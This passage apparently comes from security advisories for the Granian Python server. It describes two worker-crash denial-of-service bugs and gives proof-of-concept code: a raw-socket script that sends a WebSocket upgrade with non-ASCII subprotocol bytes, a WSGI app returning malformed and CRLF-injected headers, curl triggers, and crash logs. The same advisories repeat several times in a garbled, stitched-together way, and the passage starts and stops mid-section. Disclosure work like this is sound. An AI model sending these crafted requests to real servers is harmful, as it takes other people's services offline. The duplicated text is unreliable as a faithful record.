
• the worker aborts after any of the crash paths
• subsequent requests fail until the worker is restarted

Impact

• Worker process denial of service
• A single bad response kills one worker
• Application bugs become process crashes instead of request-scoped failures

Summary

Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes.

The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.

This is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125

HeaderValue::to_str() returns Err for bytes outside visible ASCII. The subsequent .unwrap() panics.

In release builds Granian sets panic = "abort", so this panic terminates the worker instead of being handled as a normal request error.

PoC

Step 1.

starts a Granian ASGI server

# app.py
async def app(scope, receive, send):
    if scope["type"] == "websocket":
        await receive()
        await send({"type": "websocket.accept"})
        return

    await send({"type": "http.response.start", "status": 200, "headers": []})
    await send({"type": "http.response.body", "body": b"ok"})

granian --interface asgi app:app --host 127.0.0.1 --port 8000

Step 2.

sending a raw upgrade request with Sec-WebSocket-Protocol: \x80\xff reached this code path and caused the worker to abort.

# ws-subproto-crash.py
import base64, os, socket, sys

host, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]
key = base64.b64encode(os.urandom(16)).decode()

req = (
    f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\n"
    "Upgrade: websocket\r\nConnection: Upgrade\r\n"
    f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n"
).encode() + b"Sec-WebSocket-Protocol: \x80\xff\r\n\r\n"

with socket.create_connection((host, port), timeout=5) as s:
    s.sendall(req)
    print(s.recv(4096))

python ws-subproto-crash.py 127.0.0.1 8000 /

Observed server output:

thread '<unnamed>' panicked at src/asgi/utils.rs:125:44:
called `Result::unwrap()` on an `Err` value: ToStrError { _priv: () }
[ERROR] Unexpected exit from worker-1
[INFO] Shutting down granian

Impact

• Unauthenticated remote denial of service
• One crafted request kills one worker
• The application is never reached, so application-level authentication or routing does not mitigate the issue

Summary

Granian aborts a worker process if a WSGI application returns an invalid HTTP response header name or value. The WSGI response conversion path uses .unwrap() on both the header name and header value constructors, so malformed output from the application becomes a process abort instead of a handled error.

This issue requires a buggy or attacker-influenced WSGI application to emit invalid headers. It is not a parser bug in Granian's request path. The security impact is that application mistakes which should result in a 500 instead kill the worker process.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/wsgi/io.rs#L39-L42

If either conversion fails, .unwrap() panics. In release builds Granian uses panic = "abort", so the panic terminates the worker.

Preconditions

The attacker must be able to influence a header name or value produced by the WSGI application, or the application must otherwise generate invalid headers.

Examples include:

• a header name containing a space
• a header value containing \r\n
• a header value containing a null byte

These are realistic failure modes for applications that reflect user-controlled data into headers such as Location, Content Disposition, or custom response headers.

PoC

Step 1

start Granian with the PoC WSGI app

# app.py
def app(environ, start_response):
    path = environ.get("PATH_INFO", "/")
    if path == "/crash-name":
        headers = [("X Bad Name", "value")]
    elif path == "/crash-value":
        headers = [("Content-Type", "text/html\r\nX-Injected: evil")]
    elif path == "/crash-null":
        headers = [("X-Custom", "value\x00end")]
    else:
        start_response("200 OK", [("Content-Type", "text/plain")])
        return [b"OK - server alive\n"]

    start_response("200 OK", headers)
    return [b"This response kills the worker\n"]

granian --interface wsgi app:app --host 127.0.0.1 --port 8000

Step 2

trigger the crash (any one of these is sufficient)

curl http://127.0.0.1:8000/crash-name
curl http://127.0.0.1:8000/crash-value
curl http://127.0.0.1:8000/crash-null

Expected result:

• the worker aborts after any of the crash paths
• subsequent requests fail until the worker is restarted

Impact

• Worker process denial of service
• A single bad response kills one worker
• Application bugs become process crashes instead of request-scoped failures

Summary

Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes.

The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.

This is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125

HeaderValue::to_str() returns Err for bytes outside visible ASCII. The subsequent .unwrap() panics.

In release builds Granian sets panic = "abort", so this panic terminates the worker instead of being handled as a normal request error.

PoC

Step 1.

starts a Granian ASGI server

# app.py
async def app(scope, receive, send):
    if scope["type"] == "websocket":
        await receive()
        await send({"type": "websocket.accept"})
        return

    await send({"type": "http.response.start", "status": 200, "headers": []})
    await send({"type": "http.response.body", "body": b"ok"})

granian --interface asgi app:app --host 127.0.0.1 --port 8000

Step 2.

sending a raw upgrade request with Sec-WebSocket-Protocol: \x80\xff reached this code path and caused the worker to abort.

# ws-subproto-crash.py
import base64, os, socket, sys

host, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]
key = base64.b64encode(os.urandom(16)).decode()

req = (
    f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\n"
    "Upgrade: websocket\r\nConnection: Upgrade\r\n"
    f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n"
).encode() + b"Sec-WebSocket-Protocol: \x80\xff\r\n\r\n"

with socket.create_connection((host, port), timeout=5) as s:
    s.sendall(req)
    print(s.recv(4096))

python ws-subproto-crash.py 127.0.0.1 8000 /

Observed server output:

thread '<unnamed>' panicked at src/asgi/utils.rs:125:44:
called `Result::unwrap()` on an `Err` value: ToStrError { _priv: () }
[ERROR] Unexpected exit from worker-1
[INFO] Shutting down granian

Impact

• Unauthenticated remote denial of service
• One crafted request kills one worker
• The application is never reached, so application-level authentication or routing does not mitigate the issue

Summary

Granian aborts a worker process if a WSGI application returns an invalid HTTP response header name or value. The WSGI response conversion path uses .unwrap() on both the header name and header value constructors, so malformed output from the application becomes a process abort instead of a handled error.

This issue requires a buggy or attacker-influenced WSGI application to emit invalid headers. It is not a parser bug in Granian's request path. The security impact is that application mistakes which should result in a 500 instead kill the worker process.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/wsgi/io.rs#L39-L42

If either conversion fails, .unwrap() panics. In release builds Granian uses panic = "abort", so the panic terminates the worker.

Preconditions

The attacker must be able to influence a header name or value produced by the WSGI application, or the application must otherwise generate invalid headers.

Examples include:

• a header name containing a space
• a header value containing \r\n
• a header value containing a null byte

These are realistic failure modes for applications that reflect user-controlled data into headers such as Location, Content Disposition, or custom response headers.

PoC

Step 1

start Granian with the PoC WSGI app

# app.py
def app(environ, start_response):
    path = environ.get("PATH_INFO", "/")
    if path == "/crash-name":
        headers = [("X Bad Name", "value")]
    elif path == "/crash-value":
        headers = [("Content-Type", "text/html\r\nX-Injected: evil")]
    elif path == "/crash-null":
        headers = [("X-Custom", "value\x00end")]
    else:
        start_response("200 OK", [("Content-Type", "text/plain")])
        return [b"OK - server alive\n"]

    start_response("200 OK", headers)
    return [b"This response kills the worker\n"]

granian --interface wsgi app:app --host 127.0.0.1 --port 8000

Step 2

trigger the crash (any one of these is sufficient)

curl http://127.0.0.1:8000/crash-name
curl http://127.0.0.1:8000/crash-value
curl http://127.0.0.1:8000/crash-null

Expected result:

• the worker aborts after any of the crash paths
• subsequent requests fail until the worker is restarted

Impact

• Worker process denial of service
• A single bad response kills one worker
• Application bugs become process crashes instead of request-scoped failures

Summary

Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes.

The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.

This is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125

HeaderValue::to_str() returns Err for bytes outside visible ASCII. The subsequent .unwrap() panics.

In release builds Granian sets panic = "abort", so this panic terminates the worker instead of being handled as a normal request error.

PoC